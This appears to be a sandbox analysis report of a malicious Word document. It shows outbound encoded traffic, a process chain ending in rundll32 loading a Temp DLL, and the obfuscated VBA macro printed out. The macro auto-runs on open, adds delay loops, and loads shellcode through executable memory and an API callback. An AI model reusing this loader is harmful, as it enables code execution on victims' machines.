2022-08-14 06:41:14 UTC	165	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:15 UTC	166	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:15 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:15 UTC	166	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: WINWORD.EXEPID: 752, Parent PID: 576

General

Target ID:	0
Start time:	08:38:15
Start date:	14/08/2022
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13fce0000
File size:	1423704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: taskeng.exePID: 412, Parent PID: 876

General

Target ID:	4
Start time:	08:38:36
Start date:	14/08/2022
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {42E32873-DCC3-405E-9458-A04BFDF9CD6F} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Imagebase:	0xff4d0000
File size:	464384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 1748, Parent PID: 412

General

Target ID:	5
Start time:	08:38:37
Start date:	14/08/2022
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe "C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll",Rdwmnjioffws
Imagebase:	0xffd20000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Code Analysis

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: ThisDocument

Declaration

Line	Content
1	Attribute VB_Name = "ThisDocument"
2	Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True
9	#if VBA7 then
10	Private Declare PtrSafe Function jIiijLJLLiLJIiiJ Lib "ntdll" Alias "ZwAllocateVirtualMemory"(ByVal jLLlIiLjLILIlliI as LongPtr, ByRef JJlLjLLLLJIljjll as LongPtr, ByVal IJiiiIljIjjjiJjj as Long, ByRef jIlJJJIiJJlLILjj as LongPtr, ByVal iiJIjljjljiJJJii as Long, ByVal LjJILIILliiJJliI as Long) as LongPtr
11	Private Declare PtrSafe Function jjLliiILilJiliIj Lib "kernelbase" Alias "Internal_EnumUILanguages"(ByVal LijJilJiJJIiJIlj as LongPtr, ByVal LJiliJLliiLiijll as Long, ByVal LlLJIjlilJJJliil as Long, ByVal JJJjILjljLJJJIJj as Long) as Long
12	Private Declare PtrSafe Function IJIiLJIJlllJIjIJ Lib "kernel32" Alias "MultiByteToWideChar"(ByVal LilIilljllJjLjIl as Long, ByVal LiIJJjiLLILjLLiL as Long, ByVal IjJIjiljLjLLiIlI as LongPtr, ByVal ljLLLJJilJJlIJLJ as Long, ByVal iLLiLJiiLJijIjjL as LongPtr, ByVal jjIILJillJlIiIij as Long) as Long
13	#else
14	Private Declare Function jIiijLJLLiLJIiiJ Lib "ntdll" Alias "ZwAllocateVirtualMemory"(ByVal jLLlIiLjLILIlliI as Long, ByRef JJlLjLLLLJIljjll as Long, ByVal IJiiiIljIjjjiJjj as Long, ByRef jIlJJJIiJJlLILjj as Long, ByVal iiJIjljjljiJJJii as Long, ByVal LjJILIILliiJJliI as Long) as Long
15	Private Declare Function jjLliiILilJiliIj Lib "kernelbase" Alias "Internal_EnumUILanguages"(ByVal LijJilJiJJIiJIlj as Long, ByVal LJiliJLliiLiijll as Long, ByVal LlLJIjlilJJJliil as Long, ByVal JJJjILjljLJJJIJj as Long) as Long
16	Private Declare Function IJIiLJIJlllJIjIJ Lib "kernel32" Alias "MultiByteToWideChar"(ByVal LilIilljllJjLjIl as Long, ByVal LiIJJjiLLILjLLiL as Long, ByVal IjJIjiljLjLLiIlI as Long, ByVal ljLLLJJilJJlIJLJ as Long, ByVal iLLiLJiiLJijIjjL as Long, ByVal jjIILJillJlIiIij as Long) as Long
17	#endif

Executed Functions

Subroutine
DoCUmeNT_OPEnAPIs: 8, Strings: 0, Number of lines: 14, Relevance: 13.514

APIs	Meta Information
Part of subcall function lllIiIjLliJjJIlJ@ThisDocument: jIiijLJLLiLJIiiJ
Part of subcall function lllIiIjLliJjJIlJ@ThisDocument: IJIiLJIJlllJIjIJ
Part of subcall function lllIiIjLliJjJIlJ@ThisDocument: VarPtr
Part of subcall function lllIiIjLliJjJIlJ@ThisDocument: jjLliiILilJiliIj
Part of subcall function JjliIliIiJJIjlLj@ThisDocument: jIiijLJLLiLJIiiJ
Part of subcall function JjliIliIiJJIjlLj@ThisDocument: IJIiLJIJlllJIjIJ
Part of subcall function JjliIliIiJJIjlLj@ThisDocument: VarPtr
Part of subcall function JjliIliIiJJIjlLj@ThisDocument: jjLliiILilJiliIj

Line	Instruction	Meta Information
198	Sub DoCUmeNT_OPEn()
199	Dim i, j, k, l as Long	executed
200	For i = 1 To 405306368
201	j = i
202	Next i
203	For k = 1 To 405306368
204	l = k
205	Next k
206	#if Win64 then
207	lllIiIjLliJjJIlJ
208	#else
209	JjliIliIiJJIjlLj
210	#endif
211	End Sub

Subroutine
lllIiIjLliJjJIlJAPIs: 4, Strings: 0, Number of lines: 2500, Relevance: 32.5

APIs	Meta Information
ntdll!ZwAllocateVirtualMemory	ntdll!ZwAllocateVirtualMemory(-1,0,0,20480,12288,64)
kernel32!MultiByteToWideChar	kernel32!MultiByteToWideChar(65000,0,110657456,4096,140836864,4096)
VarPtr
kernelbase!Internal_EnumUILanguages	kernelbase!Internal_EnumUILanguages(140836864,0,0,0)

Line	Instruction	Meta Information
20	Sub lllIiIjLliJjJIlJ()
21	Dim ljLLJJLJjjjjJijI(0 To 5000) as Byte	executed
22	#if VBA7 then
23	Dim ljJLIjIILliJIiLJ as LongPtr
24	Dim iJLlijjILjjJLjJJ as LongPtr
25	Dim ILJjijIJIjIjlLIi as Long
26	#else
27	Dim ljJLIjIILliJIiLJ as Long
28	Dim iJLlijjILjjJLjJJ as Long
29	Dim ILJjijIJIjIjlLIi as Long
30	#endif
33	ljLLJJLJjjjjJijI(0) = &H2B
33	ljLLJJLJjjjjJijI(1) = &H56
33	ljLLJJLJjjjjJijI(2) = &H5A
33	ljLLJJLJjjjjJijI(3) = &H43
33	ljLLJJLJjjjjJijI(4) = &H4A
33	ljLLJJLJjjjjJijI(5) = &H53
33	ljLLJJLJjjjjJijI(6) = &H46
33	ljLLJJLJjjjjJijI(7) = &H58
33	ljLLJJLJjjjjJijI(8) = &H6C
33	ljLLJJLJjjjjJijI(9) = &H67
33	ljLLJJLJjjjjJijI(10) = &H55
33	ljLLJJLJjjjjJijI(11) = &H69
33	ljLLJJLJjjjjJijI(12) = &H41
33	ljLLJJLJjjjjJijI(13) = &H37
33	ljLLJJLJjjjjJijI(14) = &H41
33	ljLLJJLJjjjjJijI(15) = &H2D
33	ljLLJJLJjjjjJijI(16) = &H0
33	ljLLJJLJjjjjJijI(17) = &H2B
33	ljLLJJLJjjjjJijI(18) = &H36
33	ljLLJJLJjjjjJijI(19) = &H41
33	ljLLJJLJjjjjJijI(20) = &H41
33	ljLLJJLJjjjjJijI(21) = &H2D
33	ljLLJJLJjjjjJijI(22) = &H0
33	ljLLJJLJjjjjJijI(23) = &H0
33	ljLLJJLJjjjjJijI(24) = &H2B
33	ljLLJJLJjjjjJijI(25) = &H53
33	ljLLJJLJjjjjJijI(26) = &H46
33	ljLLJJLJjjjjJijI(27) = &H33
33	ljLLJJLJjjjjJijI(28) = &H74
33	ljLLJJLJjjjjJijI(29) = &H67
33	ljLLJJLJjjjjJijI(30) = &H30
33	ljLLJJLJjjjjJijI(31) = &H67
33	ljLLJJLJjjjjJijI(32) = &H53
34	ljLLJJLJjjjjJijI(33) = &H54
34	ljLLJJLJjjjjJijI(34) = &H59
34	ljLLJJLJjjjjJijI(35) = &H31
34	ljLLJJLJjjjjJijI(36) = &H49
34	ljLLJJLJjjjjJijI(37) = &H4C
34	ljLLJJLJjjjjJijI(38) = &H38
34	ljLLJJLJjjjjJijI(39) = &H4C
34	ljLLJJLJjjjjJijI(40) = &H48
34	ljLLJJLJjjjjJijI(41) = &H41
34	ljLLJJLJjjjjJijI(42) = &H33
34	ljLLJJLJjjjjJijI(43) = &H49
34	ljLLJJLJjjjjJijI(44) = &H2D
34	ljLLJJLJjjjjJijI(45) = &H0
34	ljLLJJLJjjjjJijI(46) = &H2B
34	ljLLJJLJjjjjJijI(47) = &H45
34	ljLLJJLJjjjjJijI(48) = &H66
34	ljLLJJLJjjjjJijI(49) = &H59
34	ljLLJJLJjjjjJijI(50) = &H78
34	ljLLJJLJjjjjJijI(51) = &H67
34	ljLLJJLJjjjjJijI(52) = &H45
34	ljLLJJLJjjjjJijI(53) = &H67
34	ljLLJJLJjjjjJijI(54) = &H62
34	ljLLJJLJjjjjJijI(55) = &H77
34	ljLLJJLJjjjjJijI(56) = &H66
34	ljLLJJLJjjjjJijI(57) = &H2F
34	ljLLJJLJjjjjJijI(58) = &H2F
34	ljLLJJLJjjjjJijI(59) = &H53
34	ljLLJJLJjjjjJijI(60) = &H48
34	ljLLJJLJjjjjJijI(61) = &H58
34	ljLLJJLJjjjjJijI(62) = &H4B
34	ljLLJJLJjjjjJijI(63) = &H67
34	ljLLJJLJjjjjJijI(64) = &H66
35	ljLLJJLJjjjjJijI(65) = &H4E
35	ljLLJJLJjjjjJijI(66) = &H76
35	ljLLJJLJjjjjJijI(67) = &H71
35	ljLLJJLJjjjjJijI(68) = &H4D
35	ljLLJJLJjjjjJijI(69) = &H48
35	ljLLJJLJjjjjJijI(70) = &H67
35	ljLLJJLJjjjjJijI(71) = &H35
35	ljLLJJLJjjjjJijI(72) = &H49
35	ljLLJJLJjjjjJijI(73) = &H54
35	ljLLJJLJjjjjJijI(74) = &H6B
35	ljLLJJLJjjjjJijI(75) = &H35
35	ljLLJJLJjjjjJijI(76) = &H47
35	ljLLJJLJjjjjJijI(77) = &H2B
35	ljLLJJLJjjjjJijI(78) = &H70
35	ljLLJJLJjjjjJijI(79) = &H2F
35	ljLLJJLJjjjjJijI(80) = &H4B
35	ljLLJJLJjjjjJijI(81) = &H52
35	ljLLJJLJjjjjJijI(82) = &H70
35	ljLLJJLJjjjjJijI(83) = &H71
35	ljLLJJLJjjjjJijI(84) = &H66
35	ljLLJJLJjjjjJijI(85) = &H53
35	ljLLJJLJjjjjJijI(86) = &H45
35	ljLLJJLJjjjjJijI(87) = &H62
35	ljLLJJLJjjjjJijI(88) = &H36
35	ljLLJJLJjjjjJijI(89) = &H6E
35	ljLLJJLJjjjjJijI(90) = &H41
35	ljLLJJLJjjjjJijI(91) = &H34
35	ljLLJJLJjjjjJijI(92) = &H4B
35	ljLLJJLJjjjjJijI(93) = &H30
35	ljLLJJLJjjjjJijI(94) = &H59
35	ljLLJJLJjjjjJijI(95) = &H6E
35	ljLLJJLJjjjjJijI(96) = &H47
36	ljLLJJLJjjjjJijI(97) = &H39
36	ljLLJJLJjjjjJijI(98) = &H75
36	ljLLJJLJjjjjJijI(99) = &H68
36	ljLLJJLJjjjjJijI(100) = &H4F
36	ljLLJJLJjjjjJijI(101) = &H71
36	ljLLJJLJjjjjJijI(102) = &H6A
36	ljLLJJLJjjjjJijI(103) = &H31
36	ljLLJJLJjjjjJijI(104) = &H74
36	ljLLJJLJjjjjJijI(105) = &H6A
36	ljLLJJLJjjjjJijI(106) = &H73
36	ljLLJJLJjjjjJijI(107) = &H6B
36	ljLLJJLJjjjjJijI(108) = &H47
36	ljLLJJLJjjjjJijI(109) = &H2B
36	ljLLJJLJjjjjJijI(110) = &H70
36	ljLLJJLJjjjjJijI(111) = &H71
36	ljLLJJLJjjjjJijI(112) = &H65
36	ljLLJJLJjjjjJijI(113) = &H51
36	ljLLJJLJjjjjJijI(114) = &H45
36	ljLLJJLJjjjjJijI(115) = &H33
36	ljLLJJLJjjjjJijI(116) = &H51
36	ljLLJJLJjjjjJijI(117) = &H6D
36	ljLLJJLJjjjjJijI(118) = &H52
36	ljLLJJLJjjjjJijI(119) = &H62
36	ljLLJJLJjjjjJijI(120) = &H36
36	ljLLJJLJjjjjJijI(121) = &H33
36	ljLLJJLJjjjjJijI(122) = &H55
36	ljLLJJLJjjjjJijI(123) = &H6C
36	ljLLJJLJjjjjJijI(124) = &H4A
36	ljLLJJLJjjjjJijI(125) = &H73
36	ljLLJJLJjjjjJijI(126) = &H50
36	ljLLJJLJjjjjJijI(127) = &H74
36	ljLLJJLJjjjjJijI(128) = &H72
37	ljLLJJLJjjjjJijI(129) = &H57
37	ljLLJJLJjjjjJijI(130) = &H78
37	ljLLJJLJjjjjJijI(131) = &H74
37	ljLLJJLJjjjjJijI(132) = &H37
37	ljLLJJLJjjjjJijI(133) = &H4F
37	ljLLJJLJjjjjJijI(134) = &H79
37	ljLLJJLJjjjjJijI(135) = &H62
37	ljLLJJLJjjjjJijI(136) = &H61
37	ljLLJJLJjjjjJijI(137) = &H79
37	ljLLJJLJjjjjJijI(138) = &H73
37	ljLLJJLJjjjjJijI(139) = &H47
37	ljLLJJLJjjjjJijI(140) = &H52
37	ljLLJJLJjjjjJijI(141) = &H64
37	ljLLJJLJjjjjJijI(142) = &H74
37	ljLLJJLJjjjjJijI(143) = &H62
37	ljLLJJLJjjjjJijI(144) = &H37
37	ljLLJJLJjjjjJijI(145) = &H4C
37	ljLLJJLJjjjjJijI(146) = &H59
37	ljLLJJLJjjjjJijI(147) = &H6C
37	ljLLJJLJjjjjJijI(148) = &H31
37	ljLLJJLJjjjjJijI(149) = &H42
37	ljLLJJLJjjjjJijI(150) = &H76
37	ljLLJJLJjjjjJijI(151) = &H62
37	ljLLJJLJjjjjJijI(152) = &H50
37	ljLLJJLJjjjjJijI(153) = &H72
37	ljLLJJLJjjjjJijI(154) = &H6B
37	ljLLJJLJjjjjJijI(155) = &H35
37	ljLLJJLJjjjjJijI(156) = &H4B
37	ljLLJJLJjjjjJijI(157) = &H7A
37	ljLLJJLJjjjjJijI(158) = &H6B
37	ljLLJJLJjjjjJijI(159) = &H4F
37	ljLLJJLJjjjjJijI(160) = &H75
38	ljLLJJLJjjjjJijI(161) = &H56
38	ljLLJJLJjjjjJijI(162) = &H76
38	ljLLJJLJjjjjJijI(163) = &H73
38	ljLLJJLJjjjjJijI(164) = &H73
38	ljLLJJLJjjjjJijI(165) = &H53
38	ljLLJJLJjjjjJijI(166) = &H53
38	ljLLJJLJjjjjJijI(167) = &H35
38	ljLLJJLJjjjjJijI(168) = &H61
38	ljLLJJLJjjjjJijI(169) = &H79
38	ljLLJJLJjjjjJijI(170) = &H73
38	ljLLJJLJjjjjJijI(171) = &H4F
38	ljLLJJLJjjjjJijI(172) = &H69
38	ljLLJJLJjjjjJijI(173) = &H33
38	ljLLJJLJjjjjJijI(174) = &H56
38	ljLLJJLJjjjjJijI(175) = &H47
38	ljLLJJLJjjjjJijI(176) = &H36
38	ljLLJJLJjjjjJijI(177) = &H78
38	ljLLJJLJjjjjJijI(178) = &H6C
38	ljLLJJLJjjjjJijI(179) = &H4C
38	ljLLJJLJjjjjJijI(180) = &H65
38	ljLLJJLJjjjjJijI(181) = &H53
38	ljLLJJLJjjjjJijI(182) = &H52
38	ljLLJJLJjjjjJijI(183) = &H4A
38	ljLLJJLJjjjjJijI(184) = &H44
38	ljLLJJLJjjjjJijI(185) = &H64
38	ljLLJJLJjjjjJijI(186) = &H65
38	ljLLJJLJjjjjJijI(187) = &H53
38	ljLLJJLJjjjjJijI(188) = &H53
38	ljLLJJLJjjjjJijI(189) = &H55
38	ljLLJJLJjjjjJijI(190) = &H62
38	ljLLJJLJjjjjJijI(191) = &H72
38	ljLLJJLJjjjjJijI(192) = &H45
39	ljLLJJLJjjjjJijI(193) = &H6B
39	ljLLJJLJjjjjJijI(194) = &H38
39	ljLLJJLJjjjjJijI(195) = &H35
39	ljLLJJLJjjjjJijI(196) = &H61
39	ljLLJJLJjjjjJijI(197) = &H79
39	ljLLJJLJjjjjJijI(198) = &H79
39	ljLLJJLJjjjjJijI(199) = &H45
39	ljLLJJLJjjjjJijI(200) = &H74
39	ljLLJJLJjjjjJijI(201) = &H56
39	ljLLJJLJjjjjJijI(202) = &H61
39	ljLLJJLJjjjjJijI(203) = &H36
39	ljLLJJLJjjjjJijI(204) = &H39
39	ljLLJJLJjjjjJijI(205) = &H7A
39	ljLLJJLJjjjjJijI(206) = &H30
39	ljLLJJLJjjjjJijI(207) = &H6B
39	ljLLJJLJjjjjJijI(208) = &H44
39	ljLLJJLJjjjjJijI(209) = &H49
39	ljLLJJLJjjjjJijI(210) = &H6C
39	ljLLJJLJjjjjJijI(211) = &H37
39	ljLLJJLJjjjjJijI(212) = &H75
39	ljLLJJLJjjjjJijI(213) = &H4D
39	ljLLJJLJjjjjJijI(214) = &H71
39	ljLLJJLJjjjjJijI(215) = &H4D
39	ljLLJJLJjjjjJijI(216) = &H75
39	ljLLJJLJjjjjJijI(217) = &H55
39	ljLLJJLJjjjjJijI(218) = &H62
39	ljLLJJLJjjjjJijI(219) = &H72
39	ljLLJJLJjjjjJijI(220) = &H41
39	ljLLJJLJjjjjJijI(221) = &H38
39	ljLLJJLJjjjjJijI(222) = &H6B
39	ljLLJJLJjjjjJijI(223) = &H33
39	ljLLJJLJjjjjJijI(224) = &H51
40	ljLLJJLJjjjjJijI(225) = &H76
40	ljLLJJLJjjjjJijI(226) = &H6B
40	ljLLJJLJjjjjJijI(227) = &H6B
40	ljLLJJLJjjjjJijI(228) = &H5A
40	ljLLJJLJjjjjJijI(229) = &H47
40	ljLLJJLJjjjjJijI(230) = &H36
40	ljLLJJLJjjjjJijI(231) = &H76
40	ljLLJJLJjjjjJijI(232) = &H6A
40	ljLLJJLJjjjjJijI(233) = &H74
40	ljLLJJLJjjjjJijI(234) = &H74
40	ljLLJJLJjjjjJijI(235) = &H72
40	ljLLJJLJjjjjJijI(236) = &H47
40	ljLLJJLJjjjjJijI(237) = &H38
40	ljLLJJLJjjjjJijI(238) = &H37
40	ljLLJJLJjjjjJijI(239) = &H77
40	ljLLJJLJjjjjJijI(240) = &H4C
40	ljLLJJLJjjjjJijI(241) = &H37
40	ljLLJJLJjjjjJijI(242) = &H6C
40	ljLLJJLJjjjjJijI(243) = &H72
40	ljLLJJLJjjjjJijI(244) = &H49
40	ljLLJJLJjjjjJijI(245) = &H49
40	ljLLJJLJjjjjJijI(246) = &H66
40	ljLLJJLJjjjjJijI(247) = &H36
40	ljLLJJLJjjjjJijI(248) = &H47
40	ljLLJJLJjjjjJijI(249) = &H39
40	ljLLJJLJjjjjJijI(250) = &H76
40	ljLLJJLJjjjjJijI(251) = &H72
40	ljLLJJLJjjjjJijI(252) = &H2F
40	ljLLJJLJjjjjJijI(253) = &H69
40	ljLLJJLJjjjjJijI(254) = &H2B
40	ljLLJJLJjjjjJijI(255) = &H35
40	ljLLJJLJjjjjJijI(256) = &H61
41	ljLLJJLJjjjjJijI(257) = &H78
41	ljLLJJLJjjjjJijI(258) = &H76
41	ljLLJJLJjjjjJijI(259) = &H48
41	ljLLJJLJjjjjJijI(260) = &H32
41	ljLLJJLJjjjjJijI(261) = &H2F
41	ljLLJJLJjjjjJijI(262) = &H67
41	ljLLJJLJjjjjJijI(263) = &H35
41	ljLLJJLJjjjjJijI(264) = &H61
41	ljLLJJLJjjjjJijI(265) = &H79
41	ljLLJJLJjjjjJijI(266) = &H73
41	ljLLJJLJjjjjJijI(267) = &H48
41	ljLLJJLJjjjjJijI(268) = &H4B
41	ljLLJJLJjjjjJijI(269) = &H46
41	ljLLJJLJjjjjJijI(270) = &H74
41	ljLLJJLJjjjjJijI(271) = &H75
41	ljLLJJLJjjjjJijI(272) = &H75
41	ljLLJJLJjjjjJijI(273) = &H52
41	ljLLJJLJjjjjJijI(274) = &H6E
41	ljLLJJLJjjjjJijI(275) = &H72
41	ljLLJJLJjjjjJijI(276) = &H4F
41	ljLLJJLJjjjjJijI(277) = &H77
41	ljLLJJLJjjjjJijI(278) = &H68
41	ljLLJJLJjjjjJijI(279) = &H6D
41	ljLLJJLJjjjjJijI(280) = &H57
41	ljLLJJLJjjjjJijI(281) = &H66
41	ljLLJJLJjjjjJijI(282) = &H6B
41	ljLLJJLJjjjjJijI(283) = &H35
41	ljLLJJLJjjjjJijI(284) = &H48
41	ljLLJJLJjjjjJijI(285) = &H57
41	ljLLJJLJjjjjJijI(286) = &H52
41	ljLLJJLJjjjjJijI(287) = &H75
41	ljLLJJLJjjjjJijI(288) = &H72
42	ljLLJJLJjjjjJijI(289) = &H75
42	ljLLJJLJjjjjJijI(290) = &H2F
42	ljLLJJLJjjjjJijI(291) = &H75
42	ljLLJJLJjjjjJijI(292) = &H62
42	ljLLJJLJjjjjJijI(293) = &H32
42	ljLLJJLJjjjjJijI(294) = &H2B
42	ljLLJJLJjjjjJijI(295) = &H6A
42	ljLLJJLJjjjjJijI(296) = &H69
42	ljLLJJLJjjjjJijI(297) = &H65
42	ljLLJJLJjjjjJijI(298) = &H4F
42	ljLLJJLJjjjjJijI(299) = &H35
42	ljLLJJLJjjjjJijI(300) = &H4B
42	ljLLJJLJjjjjJijI(301) = &H7A
42	ljLLJJLJjjjjJijI(302) = &H6B
42	ljLLJJLJjjjjJijI(303) = &H41
42	ljLLJJLJjjjjJijI(304) = &H32
42	ljLLJJLJjjjjJijI(305) = &H33
42	ljLLJJLJjjjjJijI(306) = &H6A
42	ljLLJJLJjjjjJijI(307) = &H49
42	ljLLJJLJjjjjJijI(308) = &H33
42	ljLLJJLJjjjjJijI(309) = &H31
42	ljLLJJLJjjjjJijI(310) = &H51
42	ljLLJJLJjjjjJijI(311) = &H51
42	ljLLJJLJjjjjJijI(312) = &H4A
42	ljLLJJLJjjjjJijI(313) = &H65
42	ljLLJJLJjjjjJijI(314) = &H4C
42	ljLLJJLJjjjjJijI(315) = &H44
42	ljLLJJLJjjjjJijI(316) = &H42
42	ljLLJJLJjjjjJijI(317) = &H73
42	ljLLJJLJjjjjJijI(318) = &H62
42	ljLLJJLJjjjjJijI(319) = &H72
42	ljLLJJLJjjjjJijI(320) = &H42
43	ljLLJJLJjjjjJijI(321) = &H73
43	ljLLJJLJjjjjJijI(322) = &H49
43	ljLLJJLJjjjjJijI(323) = &H5A
43	ljLLJJLJjjjjJijI(324) = &H36
43	ljLLJJLJjjjjJijI(325) = &H7A
43	ljLLJJLJjjjjJijI(326) = &H45
43	ljLLJJLJjjjjJijI(327) = &H4A
43	ljLLJJLJjjjjJijI(328) = &H53
43	ljLLJJLJjjjjJijI(329) = &H50
43	ljLLJJLJjjjjJijI(330) = &H6B
43	ljLLJJLJjjjjJijI(331) = &H35
43	ljLLJJLJjjjjJijI(332) = &H4F
43	ljLLJJLJjjjjJijI(333) = &H54
43	ljLLJJLJjjjjJijI(334) = &H6B
43	ljLLJJLJjjjjJijI(335) = &H49
43	ljLLJJLJjjjjJijI(336) = &H36
43	ljLLJJLJjjjjJijI(337) = &H7A
43	ljLLJJLJjjjjJijI(338) = &H6B
43	ljLLJJLJjjjjJijI(339) = &H4A
43	ljLLJJLJjjjjJijI(340) = &H72
43	ljLLJJLJjjjjJijI(341) = &H54
43	ljLLJJLJjjjjJijI(342) = &H6B
43	ljLLJJLJjjjjJijI(343) = &H72
43	ljLLJJLJjjjjJijI(344) = &H65
43	ljLLJJLJjjjjJijI(345) = &H51
43	ljLLJJLJjjjjJijI(346) = &H6B
43	ljLLJJLJjjjjJijI(347) = &H49
43	ljLLJJLJjjjjJijI(348) = &H39
43	ljLLJJLJjjjjJijI(349) = &H54
43	ljLLJJLJjjjjJijI(350) = &H6B
43	ljLLJJLJjjjjJijI(351) = &H35
43	ljLLJJLJjjjjJijI(352) = &H4F
44	ljLLJJLJjjjjJijI(353) = &H51
44	ljLLJJLJjjjjJijI(354) = &H6A
44	ljLLJJLJjjjjJijI(355) = &H72
44	ljLLJJLJjjjjJijI(356) = &H61
44	ljLLJJLJjjjjJijI(357) = &H51
44	ljLLJJLJjjjjJijI(358) = &H6C
44	ljLLJJLJjjjjJijI(359) = &H35
44	ljLLJJLJjjjjJijI(360) = &H4F
44	ljLLJJLJjjjjJijI(361) = &H51
44	ljLLJJLJjjjjJijI(362) = &H62
44	ljLLJJLJjjjjJijI(363) = &H35
44	ljLLJJLJjjjjJijI(364) = &H4B
44	ljLLJJLJjjjjJijI(365) = &H7A
44	ljLLJJLJjjjjJijI(366) = &H7A
44	ljLLJJLJjjjjJijI(367) = &H49
44	ljLLJJLJjjjjJijI(368) = &H47
44	ljLLJJLJjjjjJijI(369) = &H65
44	ljLLJJLJjjjjJijI(370) = &H73
44	ljLLJJLJjjjjJijI(371) = &H78
44	ljLLJJLJjjjjJijI(372) = &H43
44	ljLLJJLJjjjjJijI(373) = &H42
44	ljLLJJLJjjjjJijI(374) = &H6E
44	ljLLJJLJjjjjJijI(375) = &H72
44	ljLLJJLJjjjjJijI(376) = &H50
44	ljLLJJLJjjjjJijI(377) = &H51
44	ljLLJJLJjjjjJijI(378) = &H6A
44	ljLLJJLJjjjjJijI(379) = &H62
44	ljLLJJLJjjjjJijI(380) = &H65
44	ljLLJJLJjjjjJijI(381) = &H4D
44	ljLLJJLJjjjjJijI(382) = &H6A
44	ljLLJJLJjjjjJijI(383) = &H66
44	ljLLJJLJjjjjJijI(384) = &H56
45	ljLLJJLJjjjjJijI(385) = &H42
45	ljLLJJLJjjjjJijI(386) = &H41
45	ljLLJJLJjjjjJijI(387) = &H6C
45	ljLLJJLJjjjjJijI(388) = &H36
45	ljLLJJLJjjjjJijI(389) = &H4D
45	ljLLJJLJjjjjJijI(390) = &H6A
45	ljLLJJLJjjjjJijI(391) = &H42
45	ljLLJJLJjjjjJijI(392) = &H65
45	ljLLJJLJjjjjJijI(393) = &H7A
45	ljLLJJLJjjjjJijI(394) = &H59
45	ljLLJJLJjjjjJijI(395) = &H55
45	ljLLJJLJjjjjJijI(396) = &H43
45	ljLLJJLJjjjjJijI(397) = &H4E
45	ljLLJJLJjjjjJijI(398) = &H53
45	ljLLJJLJjjjjJijI(399) = &H39
45	ljLLJJLJjjjjJijI(400) = &H4B
45	ljLLJJLJjjjjJijI(401) = &H4F
45	ljLLJJLJjjjjJijI(402) = &H41
45	ljLLJJLJjjjjJijI(403) = &H4B
45	ljLLJJLJjjjjJijI(404) = &H62
45	ljLLJJLJjjjjJijI(405) = &H45
45	ljLLJJLJjjjjJijI(406) = &H74
45	ljLLJJLJjjjjJijI(407) = &H6F
45	ljLLJJLJjjjjJijI(408) = &H79
45	ljLLJJLJjjjjJijI(409) = &H4F
45	ljLLJJLJjjjjJijI(410) = &H6B
45	ljLLJJLJjjjjJijI(411) = &H2F
45	ljLLJJLJjjjjJijI(412) = &H4B
45	ljLLJJLJjjjjJijI(413) = &H30
45	ljLLJJLJjjjjJijI(414) = &H57
45	ljLLJJLJjjjjJijI(415) = &H49
45	ljLLJJLJjjjjJijI(416) = &H38
46	ljLLJJLJjjjjJijI(417) = &H72
46	ljLLJJLJjjjjJijI(418) = &H45
46	ljLLJJLJjjjjJijI(419) = &H6F
46	ljLLJJLJjjjjJijI(420) = &H30
